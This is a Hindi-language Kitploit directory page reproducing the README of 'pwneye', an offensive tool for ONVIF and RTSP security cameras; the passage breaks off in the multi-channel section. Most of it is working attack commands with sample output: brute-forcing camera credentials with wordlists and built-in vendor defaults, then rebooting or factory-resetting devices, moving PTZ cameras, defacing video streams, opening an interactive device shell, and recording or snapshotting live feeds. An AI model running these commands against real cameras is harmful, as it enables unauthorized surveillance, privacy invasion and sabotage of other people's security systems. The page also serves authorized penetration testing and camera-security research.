Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
pwneye — आपका ONVIF और RTSP कैमरा साथी, वास्तविक दुनिया के सुरक्षा कैमरों की खोज और हैकिंग के लिए 🎥 | Kitploit
उपकरण/GitHubGitHub/hackerest/pwneye
टोहीIoT सुरक्षापासवर्ड हमलेभेद्यता विश्लेषणशोषणजानकारी एकत्र करनानेटवर्क सुरक्षापेनिट्रेशन टेस्टिंगहार्डवेयर और IoT सुरक्षारेड टीमिंग
GitHubhackerest/pwneye

pwneye

15720141 महीना पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

आपका ONVIF और RTSP कैमरा साथी, वास्तविक दुनिया के सुरक्षा कैमरों की खोज और हैकिंग के लिए 🎥

रिपॉजिटरी देखें

pwneye logo

version 1.3.2 codename panopticon Python 3.10+ macOS and Linux GNU GPL v3.0

pwneye एक केंद्रित और पोर्टेबल आक्रामक सुरक्षा उपकरण है जो उन IP कैमरों के साथ काम करने के लिए है जो ONVIF और RTSP सेवाओं को उजागर करते हैं, जिसका उद्देश्य सुरक्षा शोधकर्ताओं और हैकर्स को एक ही CLI वर्कफ़्लो से डिस्कवरी, प्रमाणीकरण परीक्षण, मेटाडेटा संग्रह, स्ट्रीम सत्यापन, रिकॉर्डिंग और अनुवर्ती कार्रवाइयों को संभालने का आसान तरीका देना है।

वर्तमान में समर्थित कुछ क्षमताओं में शामिल हैं:

  • WS-Discovery के माध्यम से स्थानीय नेटवर्क ONVIF डिस्कवरी
  • एकल क्रेडेंशियल या उपयोगकर्ता/पासवर्ड फ़ाइलों के साथ ONVIF प्रमाणीकरण और मल्टीथ्रेडेड ब्रूटफोर्स
  • डिवाइस जानकारी, कॉन्फ़िगर किए गए उपयोगकर्ता, नेटवर्क कॉन्फ़िगरेशन, मीडिया प्रोफ़ाइल और RTSP स्ट्रीम URI की ONVIF पोस्ट-प्रमाणीकरण गणना
  • ONVIF के माध्यम से कैमरा रीबूट, फ़ैक्टरी रीसेट, और इंटरैक्टिव शेल एक्सेस
  • CLI और समर्पित व्यूअर दोनों से ONVIF PTZ मूवमेंट
  • ONVIF के माध्यम से स्ट्रीम विरूपण और पुनर्स्थापना समर्थन
  • RTSP पोर्ट डिटेक्शन और बैनर-आधारित विक्रेता पहचान
  • 450+ अंतर्निहित विक्रेता क्रेडेंशियल / कनेक्शन-स्ट्रिंग प्रोफ़ाइल के साथ विक्रेता-जागरूक RTSP ब्रूटफोर्स, साथ ही मैनुअल विक्रेता और मैनुअल कनेक्शन स्ट्रिंग समर्थन
  • लाइव प्रगति आउटपुट के साथ मल्टीथ्रेडेड RTSP ब्रूटफोर्स
  • स्वचालित डिटेक्शन, निर्देशित गणना और इंटरैक्टिव चैनल चयन के साथ RTSP मल्टी-चैनल हैंडलिंग
  • DVR/NVR-शैली लक्ष्यों के लिए ज़ूम और तेज़ चैनल स्विचिंग के साथ समर्पित लाइव प्रीव्यू क्लाइंट
  • RTSP स्ट्रीम सत्यापन, ffplay के माध्यम से लाइव प्रीव्यू, ffmpeg के माध्यम से रिकॉर्डिंग, और स्नैपशॉट कैप्चर
  • ~/.pwneye के अंतर्गत सफल ONVIF और RTSP निष्कर्षों का प्रति-लक्ष्य कैशिंग

डेमो

https://github.com/user-attachments/assets/6913632b-326d-455e-aa0d-be6bf9b3e66c

विषय-सूची

  • स्थापना और अपडेट
    • pipx
    • Python
    • बाहरी निर्भरताएँ
  • आरंभ करना
  • ONVIF
    • ONVIF आपको क्या देता है
    • स्थानीय नेटवर्क की गणना करना
    • क्रेडेंशियल ब्रूटफोर्स करना
    • कैमरा रीबूट करना
    • कैमरा रीसेट करना
    • कैमरा घुमाना
    • स्ट्रीम विरूपित करना
    • स्ट्रीम विरूपण हटाना
    • शेल प्राप्त करना
  • RTSP
    • RTSP आपको क्या देता है
    • विक्रेता की पहचान करना
    • RTSP ब्रूटफोर्स
    • मल्टी-चैनल स्ट्रीम
    • स्ट्रीमिंग, रिकॉर्डिंग और स्नैपशॉट
  • टिप्स और ट्रिक्स
  • आभार
  • सुरक्षा
  • लाइसेंस

स्थापना और अपडेट

pipx

GitHub से pwneye को सिस्टम-व्यापी CLI कमांड के रूप में स्थापित करें:```bash pipx install git+https://github.com/Hackerest/pwneye.git pwneye --help

root@kitploit:~
इसे अनइंस्टॉल करें:```bash
pipx uninstall pwneye

बाद में उसी GitHub स्रोत से इसे अपग्रेड करें:```bash pipx upgrade pwneye

root@kitploit:~
### Python```bash
git clone https://github.com/Hackerest/pwneye
cd pwneye
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 pwneye.py --help

बाद में उसी GitHub स्रोत से इसे अपग्रेड करें:```bash cd pwneye git pull source .venv/bin/activate pip install -r requirements.txt

root@kitploit:~
### बाहरी निर्भरताएँ

निम्नलिखित टूल्स आपके उपयोग के मोड के आधार पर `PATH` में होने की अपेक्षा की जाती है:
- `ffplay`
- `ffprobe`
- रिकॉर्डिंग के लिए `ffmpeg`

| प्लेटफ़ॉर्म | इंस्टॉल कमांड |
| --- | --- |
| macOS (Homebrew) | `brew install ffmpeg` |
| Ubuntu / Debian | `sudo apt update && sudo apt install ffmpeg` |
| Fedora | `sudo dnf install ffmpeg ffmpeg-free` |
| Arch Linux | `sudo pacman -S ffmpeg` |
| openSUSE | `sudo zypper install ffmpeg` |

## आरंभ करना

इन्हें टूल में प्रवेश के सबसे तेज़ बिंदुओं के रूप में उपयोग करें। यहाँ लक्ष्य हर फ़्लैग का दस्तावेज़ीकरण करना नहीं है, बल्कि आपके पास पहले से मौजूद जानकारी के आधार पर कैमरे के साथ काम शुरू करने के सबसे उपयोगी तरीके दिखाना है।

जब आपके पास एक ही लक्ष्य हो और आप चाहते हैं कि `pwneye` आपके लिए प्रोटोकॉल चयन का काम करे, तो डिफ़ॉल्ट पूर्ण वर्कफ़्लो से शुरू करें:```bash
pwneye -t 192.168.1.135

जब आप उसी स्थानीय नेटवर्क पर हों और RTSP को छूने से पहले डिवाइस, विक्रेताओं और स्ट्रीम संकेतों की पहचान करना चाहें, तो ONVIF डिस्कवरी से शुरुआत करें:```bash pwneye --discover

root@kitploit:~
जब ONVIF अप्रासंगिक, अनुपलब्ध हो, या आप पहले से जानते हों कि आप क्या परीक्षण करना चाहते हैं, तो सीधे RTSP से शुरू करें:```bash
pwneye -t 192.168.1.135 --skip-onvif

जब आप शोर कम करना चाहते हैं और पहुंच को तेज़ी से सत्यापित करना चाहते हैं, तो ज्ञात या संदिग्ध क्रेडेंशियल्स से शुरुआत करें:```bash pwneye -t 192.168.1.135 --username admin --password admin pwneye -t 192.168.1.135 --username admin --password ~/wordlists/passwords.txt pwneye -t 192.168.1.135 --username ~/wordlists/users.txt --password admin123

root@kitploit:~
जब आपके पास पहले से स्ट्रीम का संकेत हो और आप RTSP अनुरोधों पर सख्त नियंत्रण चाहते हों, तो किसी ज्ञात पथ या पथ टेम्पलेट से शुरू करें:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/live/ch00_0"
pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0'

एक बार कार्यशील स्ट्रीम मिल जाने पर साक्ष्य संग्रह से शुरू करें:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --record

root@kitploit:~
याद रखने योग्य उपयोगी फ़्लैग:
- `--vendor VENDOR`: जब डिवाइस परिवार पहले से ज्ञात हो तो RTSP अनुरोधों को कम करें
- `-cn, --connection-string PATH`: कोई ज्ञात RTSP पथ या उम्मीदवार पथों वाली फ़ाइल आज़माएँ
- `--multi-channel`: जब आपको DVR/NVR-शैली के लक्ष्य का संदेह हो तो चैनल-आधारित RTSP पथों को प्राथमिकता दें
- `--threads N`: ONVIF और RTSP ब्रूटफोर्स के लिए समवर्तीता नियंत्रित करें
- `--skip-onvif` / `--skip-rtsp`: केवल एक प्रोटोकॉल पर ध्यान केंद्रित करें
- `--no-cache`: कैश से न पढ़ें और न ही लिखें
- `--fresh`: कैश रीड को अनदेखा करें लेकिन फिर भी नए निष्कर्ष लिखें

## ONVIF

ONVIF कैमरा जगत का प्रबंधन और नियंत्रण पक्ष है। व्यवहार में, यह डिस्कवरी, प्रमाणीकरण, मेटाडेटा निष्कर्षण, मीडिया प्रोफ़ाइल गणना, स्ट्रीम URI पुनर्प्राप्ति, और रीबूट जैसी डिवाइस क्रियाओं के लिए उपयोगी है।

`pwneye` में, ONVIF आमतौर पर वह प्रोटोकॉल है जो प्रमाणीकरण के बाद का सबसे समृद्ध संदर्भ देता है, यह समझने का सबसे स्पष्ट मार्ग प्रदान करता है कि कैमरा क्या उजागर करता है, और जब प्रमाणित खाते के पास पर्याप्त विशेषाधिकार हों, तो डिवाइस पर वास्तविक प्रशासनिक क्रियाओं तक पहुँच प्रदान करता है।

### ONVIF आपको क्या देता है

जब कोई कैमरा ONVIF उजागर करता है, तो `pwneye` इसका उपयोग कर सकता है:

- WS-Discovery के माध्यम से स्थानीय नेटवर्क पर कैमरों की खोज करने के लिए
- निश्चित क्रेडेंशियल या फ़ाइलों का उपयोग करके ONVIF प्रमाणीकरण का परीक्षण करने के लिए
- निर्माता और डिवाइस मेटाडेटा निकालने के लिए
- डिवाइस द्वारा उजागर किए गए RTSP स्ट्रीम URI पुनर्प्राप्त करने के लिए
- RTSP को अधिक आक्रामक रूप से छूने से पहले उपयोगी पोस्ट-प्रमाणीकरण संदर्भ की गणना करने के लिए
- `--reboot` के साथ प्रमाणित रीबूट का अनुरोध करने के लिए
- `--reset` के साथ प्रमाणित फ़ैक्टरी रीसेट का अनुरोध करने के लिए
- CLI से या समर्पित व्यूअर से PTZ-क्षमता वाले कैमरे को स्थानांतरित करने के लिए
- `--shell` के साथ प्रमाणित इंटरैक्टिव शेल खोलने के लिए
- `--deface` के साथ ONVIF के माध्यम से स्ट्रीम को विकृत करने के लिए
- `--undeface` के साथ अंतिम सहेजी गई विकृति प्रोफ़ाइल को पुनर्स्थापित करने के लिए

### स्थानीय नेटवर्क की गणना करना

स्थानीय नेटवर्क पर ONVIF-क्षमता वाले डिवाइसों की पहचान करने के लिए WS-Discovery का उपयोग करें:```
pwneye --discover

[info] Starting continuous ONVIF discovery on the target network
[warning] No network interface was specified. Using en0 (subnet 192.168.1.0/24) for discovery
[success] Discovered 1 new ONVIF device(s) on the target network
[info] Saved ONVIF discovery data to cache for 192.168.1.135 (Tenda)

   Host: 192.168.1.135
   Port: 80
   Protocol: http
   Types: Device
   XAddrs: http://192.168.1.135:80/onvif/device_service
   Manufacturer: Tenda
   Name: CP3Pro
   Hardware: CP3Pro
   MAC: XX:XX:XX:XX:XX:XX
   Country: China
   Profiles: Streaming
   Capabilities: NetworkVideoTransmitter, ptz, video_encoder, audio_encoder

[success] ONVIF discovery stopped by user after identifying 1 device(s)

खोज लूप हर कुछ सेकंड में जांच करता रहता है, केवल नए खोजे गए डिवाइस प्रिंट करता है, और CTRL-C से रोका जा सकता है।

आप किसी विशिष्ट नेटवर्क इंटरफ़ेस के माध्यम से भी खोज को बाध्य कर सकते हैं:```bash pwneye --discover en0 pwneye --discover eth0

root@kitploit:~
जब कोई इंटरफ़ेस निर्दिष्ट नहीं होता है, `pwneye` स्वचालित रूप से डिफ़ॉल्ट आउटबाउंड इंटरफ़ेस चुनता है और आपको बताता है कि WS-Discovery के लिए यह किस टार्गेट सबनेट का उपयोग कर रहा है।

### क्रेडेंशियल्स का ब्रूटफोर्स करना

एक निश्चित उपयोगकर्ता नाम और एक पासवर्ड फ़ाइल के साथ केवल-ONVIF ब्रूटफोर्स चलाएँ:```
pwneye -t 192.168.1.135 -ou admin -op ~/wordlists/rockyou-short.txt --skip-rtsp --threads 5

[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying ONVIF authentication using user-provided credentials...
[success] 192.168.1.135 supports ONVIF on port 80
[warning] Unable to authenticate via ONVIF using provided credentials
[>] Do you want to extend the test to common ONVIF credentials? [(y)es/(n)o] (default: y): 
[info] No explicit ONVIF credentials specified, trying common ONVIF credentials...
[info] Trying ONVIF authentication using common username(s) and password(s)...
[success] 192.168.1.135 supports ONVIF on port 80
⠼ Trying ONVIF on 192.168.1.135:80 with camera:12345

उपयोगी विकल्प:

  • --skip-onvif: ONVIF पहचान और गणना (enumeration) छोड़ें
  • -oP, --onvif-port PORT: किसी विशिष्ट ONVIF पोर्ट का परीक्षण करें
  • -ou, --onvif-username USER: ONVIF उपयोगकर्ता नाम या फ़ाइल जिसमें प्रति पंक्ति एक उपयोगकर्ता नाम हो
  • -op, --onvif-password PASS: ONVIF पासवर्ड या फ़ाइल जिसमें प्रति पंक्ति एक पासवर्ड हो

यदि -ou और -op निर्दिष्ट नहीं हैं, तो pwneye स्वचालित रूप से अपने अंतर्निहित सामान्य ONVIF उपयोगकर्ता नामों और पासवर्डों पर वापस आ जाता है।

pwneye सफल ONVIF क्रेडेंशियल्स को प्रति लक्ष्य ~/.pwneye/cache के अंतर्गत कैश करता है और भविष्य के रनों में उन्हें पुनः उपयोग करता है, जब तक कि आप --fresh या --no-cache का उपयोग न करें।

कैमरे को रीबूट करना

यदि ONVIF प्रमाणीकरण सफल होता है, तो आप सीधे रीबूट का अनुरोध कर सकते हैं:``` pwneye -t 192.168.1.135 --reboot

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:

Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1

[warning] Requesting ONVIF system reboot... [info] ONVIF reboot request sent [info] Checking if the camera is still reachable... [success] The device has been rebooted!

root@kitploit:~
जब `--reboot` का उपयोग किया जाता है, तो RTSP प्रोबिंग छोड़ दी जाती है।

### कैमरा रीसेट करना

यदि ONVIF प्रमाणीकरण सफल होता है, तो आप सीधे फ़ैक्टरी रीसेट का अनुरोध भी कर सकते हैं:```text
pwneye -t 192.168.1.135 --reset

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[>] Do you really want to factory-reset the camera via ONVIF? [(y)es/(n)o] (default: n):
[warning] Requesting ONVIF factory reset...
[info] ONVIF factory reset request sent
[info] Checking if the camera is still reachable...
[warning] The ONVIF factory reset request was sent, but the target still appears to be reachable. Please verify manually that the reset was completed.

चेतावनी: यह ऑपरेशन अपरिवर्तनीय हो सकता है और यह डिवाइस की वर्तमान कॉन्फ़िगरेशन, क्रेडेंशियल्स और नेटवर्क सेटिंग्स को मिटा सकता है। --reset का उपयोग केवल तभी करें जब आप प्रभाव को पूरी तरह से समझते हों और इसे करने के लिए स्पष्ट रूप से अधिकृत हों।

जैसा कि --reboot के साथ होता है, जब --reset का उपयोग किया जाता है, तो RTSP प्रोबिंग को छोड़ दिया जाता है।

कैमरे को घुमाना (Moving the Camera)

यदि लक्ष्य ONVIF के माध्यम से PTZ नियंत्रण प्रदर्शित करता है, तो pwneye कैमरे को टर्मिनल से और समर्पित लाइव व्यूअर दोनों से घुमा सकता है।

CLI से, direction,duration के साथ --move का उपयोग करें। फ्लैग को दोहराया जा सकता है, और अनुरोधित मूव्स क्रम में निष्पादित किए जाते हैं जबकि RTSP प्रोबिंग को छोड़ दिया जाता है:```bash pwneye -t 192.168.1.135 --move right,2 pwneye -t 192.168.1.135 --move right,2 --move up,1 --move down,3 pwneye -t 192.168.1.135 --move r,2 --move u,1 --move d,3

root@kitploit:~
स्वीकार्य दिशाएँ हैं:

- `left` या `l`
- `right` या `r`
- `up` या `u`
- `down` या `d`

उदाहरण:```text
pwneye -t 192.168.1.135 --move r,2 --move u,1

...
[info] Trying cached ONVIF credentials for the target...
...
[success] ONVIF connection established using the following configuration:
...

[info] Requesting ONVIF PTZ move to right for 2.00 second(s)...
[info] The ONVIF move command was accepted
[info] Requesting ONVIF PTZ move to up for 1.00 second(s)...
[info] The ONVIF move command was accepted
[success] The camera has been moved!

समर्पित व्यूअर के अंदर, यदि PTZ समर्थित है, तो फोकस्ड व्यू आपको W, A, S, और D के साथ कैमरे को इंटरैक्टिव रूप से घुमाने की भी सुविधा देता है। यह तब उपयोगी होता है जब आपके पास पहले से एक कार्यशील स्ट्रीम हो और डिवाइस को समायोजित करते समय सीधा विज़ुअल फीडबैक चाहते हों।

स्ट्रीम को विकृत करना (Defacing a Stream)

यदि ONVIF प्रमाणीकरण सफल होता है, तो pwneye सीधे स्ट्रीम को विकृत करने का प्रयास भी कर सकता है:```bash pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"

root@kitploit:~
`--deface` क्या करता है, संक्षेप में:

- यह पहले जाँचता है कि क्या लक्ष्य ONVIF Imaging के माध्यम से स्ट्रीम डार्कनिंग का समर्थन करता है
- यह यह भी जाँचता है कि क्या लक्ष्य पुनः उपयोग योग्य ONVIF टेक्स्ट लेयर उजागर करता है
- यदि दोनों उपलब्ध हैं, तो `pwneye` पूर्ण deface करता है
- यदि केवल एक पक्ष उपलब्ध है, तो `pwneye` उपयोगकर्ता को चेतावनी देता है और इसके बजाय आंशिक deface प्रदान करता है
- कुछ भी बदलने से पहले, `pwneye` लक्ष्य के लिए `~/.pwneye/cache` के अंतर्गत एक रिस्टोर प्रोफ़ाइल सहेजता है

कार्यान्वयन जानबूझकर रूढ़िवादी और विक्रेता-अनुकूल है:

- डार्कनिंग चरण के लिए, `pwneye` विक्रेता-विशिष्ट तरकीबों पर निर्भर रहने के बजाय समर्थित इमेजिंग नियंत्रणों जैसे कि ब्राइटनेस, कंट्रास्ट और सैचुरेशन को कम करता है
- टेक्स्ट चरण के लिए, `pwneye` नए OSD प्रविष्टियाँ बनाने या हटाने के बजाय मौजूदा लिखने योग्य ONVIF टेक्स्ट लेयर का पुनः उपयोग करता है
- यह सुविधा को विभिन्न कैमरा परिवारों में अधिक संगत बनाता है, भले ही अंतिम दृश्य परिणाम अभी भी फर्मवेयर पर निर्भर करता है

उदाहरण:```text
pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[info] Inspecting ONVIF deface capabilities...
[info] The target supports ONVIF deface
[>] Do you want to proceed with the deface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to deface the target stream with THIS CAMERA IS EXPOSED
[info] A backup profile is being created for future restorations...
[success] Backup profile saved successfully to /Users/user/.pwneye/cache/192.168.1.135.yaml
[info] Trying to darken the stream...
[success] The stream was darkened successfully
[info] Trying to replace the current on-stream text with THIS CAMERA IS EXPOSED
[info] Verifying the text update...
[success] The target stream has been defaced!
[info] To restore the previous configuration, run the tool again with --undeface

Deface placeholder

स्ट्रीम को अनडिफेस करना

यदि पिछले --deface रन ने लक्ष्य के लिए एक रिस्टोर प्रोफ़ाइल सहेजी है, तो pwneye इसका उपयोग मूल ONVIF स्थिति को पुनर्स्थापित करने के लिए कर सकता है:```bash pwneye -t 192.168.1.135 --undeface

root@kitploit:~
`--undeface` संक्षेप में क्या करता है:

- यह टारगेट कैश एंट्री में पहले से सहेजे गए deface रिस्टोर प्रोफाइल की तलाश करता है
- यदि कोई प्रोफाइल मौजूद नहीं है, तो यह तुरंत एक त्रुटि के साथ रुक जाता है
- यदि कोई प्रोफाइल मौजूद है, तो यह मूल Imaging सेटिंग्स और मूल राइटेबल टेक्स्ट लेयर्स को पुनर्स्थापित करने का प्रयास करता है
- `--deface` की तरह, अंतिम परिणाम पूर्ण या आंशिक हो सकता है, यह इस बात पर निर्भर करता है कि टारगेट ONVIF के माध्यम से क्या अनुमति देता है

रिस्टोर प्रोफाइल सफल `--undeface` के बाद हटाया नहीं जाता है। यह कैश में तब तक रहता है जब तक भविष्य का कोई `--deface` इसे नए प्रोफाइल के साथ अधिलेखित नहीं कर देता।

उदाहरण:```text
pwneye -t 192.168.1.135 --undeface

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[info] Looking for a saved deface profile for this target...
[info] A saved deface profile was found at /Users/user/.pwneye/cache/192.168.1.135.yaml
[>] Do you want to proceed with the undeface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to restore the target stream...
[info] Trying to restore the original stream brightness profile...
[success] The original stream brightness profile was restored successfully
[info] Trying to restore the original on-stream text...
[success] The original on-stream text was restored successfully
[success] The target stream has been restored!

शेल प्राप्त करना

यदि ONVIF प्रमाणीकरण सफल होता है, तो pwneye आपको सीधे एक इंटरैक्टिव ONVIF शेल में भी ले जा सकता है। यह तब उपयोगी होता है जब आप वर्तमान वर्कफ़्लो को छोड़े बिना सेवाओं का निरीक्षण करना, मैन्युअल रूप से विधियों को कॉल करना, क्षमताओं का पता लगाना, या लक्ष्य-विशिष्ट संचालन का परीक्षण करना चाहते हैं।

उदाहरण:```text pwneye -t 192.168.1.135 --shell

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:

Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1

[info] Opening the interactive ONVIF shell...

This feature is powered by https://github.com/nirsimetri/onvif-python (leave it a ⭐!) Use TAB for completion and help for commands.

[email protected]:80 > ls analytics events media2 pullpoint ruleengine capabilities help store cls debug pwd type deviceio imaging notification recording search caps exit rm clear ls shortcuts devicemgmt media ptz replay subscription services quit show info cd desc

root@kitploit:~
## RTSP

RTSP कैमरा दुनिया का स्ट्रीमिंग पक्ष है। यह वह प्रोटोकॉल है जो आमतौर पर आपको लाइव वीडियो पथ देता है, लेकिन यह सबसे अधिक खंडित भी है: विक्रेता अलग-अलग पथ, चैनल परंपराओं, प्रमाणीकरण विशेषताओं और बैनर प्रारूपों का उपयोग करते हैं।

`pwneye` में, RTSP हैंडलिंग पोर्ट डिस्कवरी, बैनर ग्रैबिंग, विक्रेता-जागरूक पथ चयन, ब्रूटफोर्स ऑर्केस्ट्रेशन, स्ट्रीम सत्यापन, पूर्वावलोकन और रिकॉर्डिंग के आसपास बनाई गई है।

### RTSP आपको क्या देता है

RTSP वर्कफ़्लो का वह हिस्सा है जो पुष्टि करता है कि क्या आप वास्तव में एक स्ट्रीम तक पहुँच सकते हैं। `pwneye` में, इसका अर्थ है:

- सामान्य या उपयोगकर्ता-निर्दिष्ट पोर्ट पर RTSP का पता लगाना
- बैनर ग्रैब करना और विक्रेता को स्वचालित रूप से पहचानने का प्रयास करना
- विक्रेता-जागरूक या उपयोगकर्ता-प्रदत्त पथों के विरुद्ध क्रेडेंशियल्स का ब्रूटफोर्स करना
- खोलने से पहले कार्यशील स्ट्रीम को सत्यापित करना
- साक्ष्य के लिए स्ट्रीम रिकॉर्ड करना या स्नैपशॉट कैप्चर करना
- जब लक्ष्य DVR या NVR की तरह व्यवहार करता है तो कई चैनलों की गणना करना

### विक्रेता की पहचान करना

`pwneye` व्यापक पथ गणना पर वापस जाने से पहले RTSP बैनर ग्रैबिंग के माध्यम से RTSP विक्रेता को स्वचालित रूप से पहचानने का प्रयास करेगा।

यदि स्वचालित बैनर-आधारित पहचान विफल हो जाती है और आप पहले से विश्लेषण से विक्रेता को जानते हैं, तो आप अनुरोधों की संख्या को काफी कम करने के लिए इसे सीधे पास कर सकते हैं:```bash
pwneye -t 192.168.1.135 --vendor tenda

आप केवल RTSP बैनर प्राप्त करके बाहर निकल सकते हैं:``` pwneye -t 192.168.1.135 --skip-onvif --banner

... [info] RTSP service detected on port(s): 554 [success] RTSP banner on port 554: Hipcam RealServer/V1.0

root@kitploit:~
उपयोगी विकल्प:
- `--skip-rtsp`: RTSP पहचान और ब्रूटफोर्स को छोड़ें
- `-P, --rtsp-port PORT`: किसी विशिष्ट RTSP पोर्ट का परीक्षण करें
- `--vendor VENDOR`: RTSP डेटाबेस से किसी विक्रेता को बलपूर्वक चुनें
- `--list-vendors`: RTSP ज्ञानकोष द्वारा समर्थित विक्रेताओं को प्रिंट करें और बाहर निकलें
- `--protocol tcp|udp`: RTSP ट्रांसपोर्ट चुनें, डिफ़ॉल्ट `tcp` है
- `--timeout SECONDS`: RTSP टाइमआउट, डिफ़ॉल्ट `10` है

### RTSP ब्रूटफोर्स

निश्चित क्रेडेंशियल्स के साथ RTSP ब्रूटफोर्स करें:```bash
pwneye -t 192.168.1.135 --username admin --password admin

केवल फिक्स्ड पासवर्ड के साथ यूज़रनेम घुमाएं:```bash pwneye -t 192.168.1.135 --password 'SuperSecretPass' --vendor hikvision --threads 10

root@kitploit:~
एकल उपयोगकर्ता-प्रदत्त RTSP कनेक्शन स्ट्रिंग आज़माएं:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/11"
pwneye -t 192.168.1.135 --skip-onvif -cn "/cam/realmonitor?channel=1&subtype=0"

लोड कैंडिडेट कनेक्शन स्ट्रिंग्स फ़ाइल से:```bash pwneye -t 192.168.1.135 --skip-onvif -cn paths.txt

root@kitploit:~
मैन्युअल पाथ को फिक्स्ड क्रेडेंशियल्स के साथ संयोजित करें:```bash
pwneye -t 192.168.1.135 --skip-onvif -u admin -p admin -cn "/live/ch00_0"

Prefer multi-channel paths when the target is likely a DVR/NVR:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel

root@kitploit:~
उपयोगी विकल्प:
- `-u, --username USER`: RTSP उपयोगकर्ता नाम या फ़ाइल जिसमें प्रति पंक्ति एक उपयोगकर्ता नाम हो
- `-p, --password PASS`: RTSP पासवर्ड या फ़ाइल जिसमें प्रति पंक्ति एक पासवर्ड हो
- `-cn, --connection-string PATH`: RTSP कनेक्शन स्ट्रिंग या फ़ाइल जिसमें प्रति पंक्ति एक कनेक्शन स्ट्रिंग हो
- `--multi-channel`: उपलब्ध होने पर RTSP मल्टी-चैनल कनेक्शन स्ट्रिंग्स को प्राथमिकता दें
- `--threads N`: ब्रूटफोर्स इंजन द्वारा उपयोग किए जाने वाले समवर्ती थ्रेड्स की संख्या

यदि `-u` और `-p` निर्दिष्ट नहीं हैं, तो `pwneye` स्वचालित रूप से अपने अंतर्निहित सामान्य RTSP उपयोगकर्ता नामों और पासवर्डों पर वापस आ जाता है।

`pwneye` सफल RTSP क्रेडेंशियल्स और सत्यापित स्ट्रीम मेटाडेटा को प्रति लक्ष्य `~/.pwneye/cache` के अंतर्गत कैश करता है।

कैश व्यवहार:
- डिफ़ॉल्ट: ताज़ा ब्रूटफोर्स चलाने से पहले कैश किए गए मान्य निष्कर्षों का पुन: उपयोग करें
- `--fresh`: कैश किए गए परिणामों को अनदेखा करें लेकिन नए निष्कर्षों के साथ कैश को अपडेट करें
- `--no-cache`: कैश रीड और कैश राइट दोनों को अक्षम करें

### मल्टी-चैनल स्ट्रीम्स

कुछ कैमरे, DVR और NVR एकल स्थिर पथ के बजाय कई तार्किक RTSP चैनल उजागर करते हैं। विशिष्ट उदाहरणों में निम्नलिखित जैसे टेम्पलेट शामिल हैं:```text
rtsp://IP:554/?chID=1&streamType=main&linkType=tcp
rtsp://IP:554/cam/realmonitor?channel=1&subtype=0

pwneye RTSP प्रोबिंग के दौरान इसे स्वचालित रूप से पहचान सकता है, जिसमें विक्रेता-आधारित RTSP ज्ञान भी शामिल है, लेकिन आप प्रक्रिया को स्पष्ट रूप से भी निर्देशित कर सकते हैं:

  • --multi-channel pwneye को ज्ञान आधार से चैनल-आधारित RTSP पथों को प्राथमिकता देने के लिए कहता है
  • --connection-string आपको अपना स्वयं का चैनल टेम्पलेट प्रदान करने देता है, जिसमें {channel} जैसे प्लेसहोल्डर शामिल हैं
  • वही टेम्पलेट तर्क तब भी काम करता है जब कनेक्शन स्ट्रिंग फ़ाइल से आती हैं
  • एक बार कई चैनल मिल जाने पर, pwneye एक ही विंडो में या तो एकल फ़ीड या समर्पित मल्टी-चैनल व्यूअर खोल सकता है

उदाहरण:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0' pwneye -t 192.168.1.135 --skip-onvif -cn channel_paths.txt

